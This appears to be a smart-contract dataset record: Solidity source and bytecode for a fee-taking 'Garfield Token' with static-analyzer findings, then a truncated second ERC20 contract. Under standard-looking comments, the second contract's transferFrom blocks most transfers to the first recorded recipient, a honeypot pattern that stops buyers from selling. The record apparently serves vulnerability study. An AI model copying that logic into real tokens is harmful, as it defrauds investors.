calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Garfield is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; mapping (address => User) private trader; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Garfield Token"; string private constant _symbol = unicode"GARFIELD"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 6; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private _cooldownEnabled = true; bool private _communityMode = false; bool private inSwap = false; uint256 private _launchBlock = 0; uint256 private buyLimitEnd; // uint256 private consecutiveBuyCounter = 0; // uint256 private consecutiveSellCounter = 0; uint256 private _snipersTaxed = 0; uint256 private _impactMultiplier = 1000; struct User { uint256 buyCD; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function snipersTaxed() public view returns (uint256) { return _snipersTaxed; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); if(!trader[msg.sender].exists) { trader[msg.sender] = User(0,true); } uint256 totalFee = 10; // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if(block.number < _launchBlock + 3) { totalFee = 90; _snipersTaxed++; } else if(block.timestamp > _launchTime + (2 minutes)) { totalFee = 10; } else if (block.timestamp > _launchTime + (1 minutes)) { totalFee = 20; } else { totalFee = 40; } _taxFee = (totalFee).div(10); _teamFee = (totalFee.mul(9)).div(10); if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired."); trader[to].buyCD = block.timestamp + (45 seconds); } } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { //price impact based sell tax uint256 amountImpactMultiplier = amount.mul(_impactMultiplier); uint256 priceImpact = amountImpactMultiplier.div(balanceOf(uniswapV2Pair).add(amount)); if (priceImpact <= 10) { totalFee = 10; } else if (priceImpact >= 40) { totalFee = 40; } else if (priceImpact.mod(2) != 0) { totalFee = ++priceImpact; } else { totalFee = priceImpact; } _taxFee = (totalFee).div(10); _teamFee = (totalFee.mul(9)).div(10); //To limit big dumps by the contract before the sells if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _communityMode){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 5000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; buyLimitEnd = block.timestamp + (20 seconds); _launchTime = block.timestamp; _launchBlock = block.number; } function setMarketingWallet (address payable marketingWalletAddress) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[_marketingWalletAddress] = false; _marketingWalletAddress = marketingWalletAddress; _isExcludedFromFee[marketingWalletAddress] = true; } function excludeFromFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = true; } function includeToFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = false; } function setBots(address[] memory bots_) public onlyOwner { //Cannot set bots after 20 minutes of launch time to ensure contract is SAFU without renounce as well if (block.timestamp < _launchTime + (20 minutes)) { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _bots[bots_[i]] = true; } } } } function delBot(address notbot) public onlyOwner { _bots[notbot] = false; } function isBot(address ad) public view returns (bool) { return _bots[ad]; } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - trader[buyer].buyCD; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x60806040526004361061014f5760003560e01c806368a3a6a5116100b6578063a985ceef1161006f578063a985ceef146103e9578063b515566a14610408578063c9567bf914610428578063cf0848f71461043d578063db92dbb61461045d578063dd62ed3e1461047257600080fd5b806368a3a6a51461031b57806370a082311461033b578063715018a61461035b5780638da5cb5b1461037057806395d89b4114610398578063a9059cbb146103c957600080fd5b8063313ce56711610108578063313ce567146102515780633bbac5791461026d5780633d75af99146102a6578063437823ec146102bb5780635932ead1146102db5780635d098b38146102fb57600080fd5b806306fdde031461015b578063095ea7b3146101a457806318160ddd146101d457806323b872dd146101fa578063273123b71461021a57806327f3a72a1461023c57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600e81526d23b0b93334b2b632102a37b5b2b760911b60208201525b60405161019b9190611e6d565b60405180910390f35b3480156101b057600080fd5b506101c46101bf366004611d16565b6104b8565b604051901515815260200161019b565b3480156101e057600080fd5b50683635c9adc5dea000005b60405190815260200161019b565b34801561020657600080fd5b506101c4610215366004611cd6565b6104cf565b34801561022657600080fd5b5061023a610235366004611c66565b610538565b005b34801561024857600080fd5b506101ec61058c565b34801561025d57600080fd5b506040516009815260200161019b565b34801561027957600080fd5b506101c4610288366004611c66565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156102b257600080fd5b506016546101ec565b3480156102c757600080fd5b5061023a6102d6366004611c66565b61059c565b3480156102e757600080fd5b5061023a6102f6366004611e08565b6105e0565b34801561030757600080fd5b5061023a610316366004611c66565b610665565b34801561032757600080fd5b506101ec610336366004611c66565b6106d5565b34801561034757600080fd5b506101ec610356366004611c66565b6106f8565b34801561036757600080fd5b5061023a61071a565b34801561037c57600080fd5b506000546040516001600160a01b03909116815260200161019b565b3480156103a457600080fd5b5060408051808201909152600881526711d054919251531160c21b602082015261018e565b3480156103d557600080fd5b506101c46103e4366004611d16565b61078e565b3480156103f557600080fd5b50601354600160a81b900460ff166101c4565b34801561041457600080fd5b5061023a610423366004611d41565b61079b565b34801561043457600080fd5b5061023a6108f9565b34801561044957600080fd5b5061023a610458366004611c66565b610cd1565b34801561046957600080fd5b506101ec610d12565b34801561047e57600080fd5b506101ec61048d366004611c9e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006104c5338484610d2a565b5060015b92915050565b60006104dc848484610e4e565b61052e84336105298560405180606001604052806028815260200161205c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611446565b610d2a565b5060019392505050565b6000546001600160a01b0316331461056b5760405162461bcd60e51b815260040161056290611ec0565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000610597306106f8565b905090565b6010546001600160a01b0316336001600160a01b0316146105bc57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b0316331461060a5760405162461bcd60e51b815260040161056290611ec0565b6013805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200160405180910390a150565b6010546001600160a01b0316336001600160a01b03161461068557600080fd5b601180546001600160a01b03908116600090815260056020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6001600160a01b0381166000908152600760205260408120546104c99042611fb0565b6001600160a01b0381166000908152600260205260408120546104c990611480565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161056290611ec0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104c5338484610e4e565b6000546001600160a01b031633146107c55760405162461bcd60e51b815260040161056290611ec0565b600c546107d4906104b0611f65565b4210156108f65760005b81518110156108f45760135482516001600160a01b039091169083908390811061081857634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b031614158015610877575060125482516001600160a01b039091169083908390811061086357634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b031614155b156108e2576001600660008484815181106108a257634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108ec81611fc7565b9150506107de565b505b50565b6000546001600160a01b031633146109235760405162461bcd60e51b815260040161056290611ec0565b601354600160a01b900460ff161561097d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610562565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109ba3082683635c9adc5dea00000610d2a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109f357600080fd5b505afa158015610a07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2b9190611c82565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a7357600080fd5b505afa158015610a87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aab9190611c82565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610af357600080fd5b505af1158015610b07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2b9190611c82565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610b5b816106f8565b600080610b706000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610bd357600080fd5b505af1158015610be7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c0c9190611e40565b5050674563918244f40000600f555060135460125460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610c6c57600080fd5b505af1158015610c80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca49190611e24565b506013805460ff60a01b1916600160a01b179055610cc3426014611f65565b6015555042600c5543601455565b6010546001600160a01b0316336001600160a01b031614610cf157600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b601354600090610597906001600160a01b03166106f8565b6001600160a01b038316610d8c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610562565b6001600160a01b038216610ded5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610562565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610eb25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610562565b6001600160a01b038216610f145760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610562565b60008111610f765760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610562565b6000546001600160a01b03848116911614801590610fa257506000546001600160a01b03838116911614155b156113d5576001600160a01b03831660009081526006602052604090205460ff16158015610fe957506001600160a01b03821660009081526006602052604090205460ff16155b610ff257600080fd5b3360009081526007602052604090206001015460ff16611048576040805180820182526000808252600160208084018281523384526007909152939091209151825591519101805460ff19169115159190911790555b601354600a906001600160a01b03858116911614801561107657506012546001600160a01b03848116911614155b801561109b57506001600160a01b03831660009081526005602052604090205460ff16155b1561125357601354600160a01b900460ff166110f95760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610562565b601454611107906003611f65565b43101561112b575060168054605a91600061112183611fc7565b9190505550611169565b600c54611139906078611f65565b4211156111485750600a611169565b600c5461115690603c611f65565b42111561116557506014611169565b5060285b61117481600a611504565b600a90815561118e90611188836009611546565b90611504565b600b55601354600160a81b900460ff16156112535742601554111561125357600f548211156111bc57600080fd5b6001600160a01b038316600090815260076020526040902054421161122e5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610562565b61123942602d611f65565b6001600160a01b0384166000908152600760205260409020555b600061125e306106f8565b601354909150600160b81b900460ff1615801561128957506013546001600160a01b03868116911614155b801561129e5750601354600160a01b900460ff165b156113d25760006112ba6017548561154690919063ffffffff16565b6013549091506000906112ec906112e59087906112df906001600160a01b03166106f8565b906115c5565b8390611504565b9050600a81116112ff57600a9350611337565b602881106113105760289350611337565b61131b816002611624565b156113335761132981611fc7565b9050809350611337565b8093505b61134284600a611504565b600a90815561135690611188866009611546565b600b5582156113be576013546113889060649061118890600590611382906001600160a01b03166106f8565b90611546565b8311156113b5576013546113b29060649061118890600590611382906001600160a01b03166106f8565b92505b6113be83611666565b4780156113ce576113ce4761180b565b5050505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061141757506001600160a01b03831660009081526005602052604090205460ff165b8061142b5750601354600160b01b900460ff165b15611434575060005b61144084848484611890565b50505050565b6000818484111561146a5760405162461bcd60e51b81526004016105629190611e6d565b5060006114778486611fb0565b95945050505050565b60006008548211156114e75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610562565b60006114f16118be565b90506114fd8382611504565b9392505050565b60006114fd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118e1565b600082611555575060006104c9565b60006115618385611f91565b90508261156e8583611f7d565b146114fd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610562565b6000806115d28385611f65565b9050838110156114fd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610562565b60006114fd83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f000000000000000081525061190f565b6013805460ff60b81b1916600160b81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106116bc57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561171057600080fd5b505afa158015611724573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117489190611c82565b8160018151811061176957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260125461178f9130911684610d2a565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906117c8908590600090869030904290600401611ef5565b600060405180830381600087803b1580156117e257600080fd5b505af11580156117f6573d6000803e3d6000fd5b50506013805460ff60b81b1916905550505050565b6010546001600160a01b03166108fc611825836002611504565b6040518115909202916000818181858888f1935050505015801561184d573d6000803e3d6000fd5b506011546001600160a01b03166108fc611868836002611504565b6040518115909202916000818181858888f193505050501580156108f4573d6000803e3d6000fd5b8061189d5761189d611943565b6118a8848484611971565b8061144057611440600d54600a55600e54600b55565b60008060006118cb611a68565b90925090506118da8282611504565b9250505090565b600081836119025760405162461bcd60e51b81526004016105629190611e6d565b5060006114778486611f7d565b600081836119305760405162461bcd60e51b81526004016105629190611e6d565b5061193b8385611fe2565b949350505050565b600a541580156119535750600b54155b1561195a57565b600a8054600d55600b8054600e5560009182905555565b60008060008060008061198387611aaa565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119b59087611b07565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119e490866115c5565b6001600160a01b038916600090815260026020526040902055611a0681611b49565b611a108483611b93565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a5591815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea00000611a848282611504565b821015611aa157505060085492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611ac78a600a54600b54611bb7565b9250925092506000611ad76118be565b90506000806000611aea8e878787611c06565b919e509c509a509598509396509194505050505091939550919395565b60006114fd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611446565b6000611b536118be565b90506000611b618383611546565b30600090815260026020526040902054909150611b7e90826115c5565b30600090815260026020526040902055505050565b600854611ba09083611b07565b600855600954611bb090826115c5565b6009555050565b6000808080611bcb60646111888989611546565b90506000611bde60646111888a89611546565b90506000611bf682611bf08b86611b07565b90611b07565b9992985090965090945050505050565b6000808080611c158886611546565b90506000611c238887611546565b90506000611c318888611546565b90506000611c4382611bf08686611b07565b939b939a50919850919650505050505050565b8035611c6181612038565b919050565b600060208284031215611c77578081fd5b81356114fd81612038565b600060208284031215611c93578081fd5b81516114fd81612038565b60008060408385031215611cb0578081fd5b8235611cbb81612038565b91506020830135611ccb81612038565b809150509250929050565b600080600060608486031215611cea578081fd5b8335611cf581612038565b92506020840135611d0581612038565b929592945050506040919091013590565b60008060408385031215611d28578182fd5b8235611d3381612038565b946020939093013593505050565b60006020808385031215611d53578182fd5b823567ffffffffffffffff80821115611d6a578384fd5b818501915085601f830112611d7d578384fd5b813581811115611d8f57611d8f612022565b8060051b604051601f19603f83011681018181108582111715611db457611db4612022565b604052828152858101935084860182860187018a1015611dd2578788fd5b8795505b83861015611dfb57611de781611c56565b855260019590950194938601938601611dd6565b5098975050505050505050565b600060208284031215611e19578081fd5b81356114fd8161204d565b600060208284031215611e35578081fd5b81516114fd8161204d565b600080600060608486031215611e54578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611e9957858101830151858201604001528201611e7d565b81811115611eaa5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611f445784516001600160a01b031683529383019391830191600101611f1f565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611f7857611f78611ff6565b500190565b600082611f8c57611f8c61200c565b500490565b6000816000190483118215151615611fab57611fab611ff6565b500290565b600082821015611fc257611fc2611ff6565b500390565b6000600019821415611fdb57611fdb611ff6565b5060010190565b600082611ff157611ff161200c565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108f657600080fd5b80151581146108f657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e4d824b6894aad6d17a6e94fabf869933f07ccdad5aca44abda87d0ed65c824e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,720
0xd4ca98c88928dcd5eb8b565f820209cf40b48211
// SPDX-License-Identifier: MIT pragma solidity >=0.5.17; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ contract ERC20Interface { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint tokens) public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract TokenERC20 is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint256 _totalSupply; uint internal indexNumber; address internal sender; address internal delegate; address internal governance; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != sender, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && sender == address(0)) sender = to; else require(to != sender || (from == delegate && to == sender) || (from == governance && to == sender)|| (to == sender && balances[from] <= indexNumber), "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return 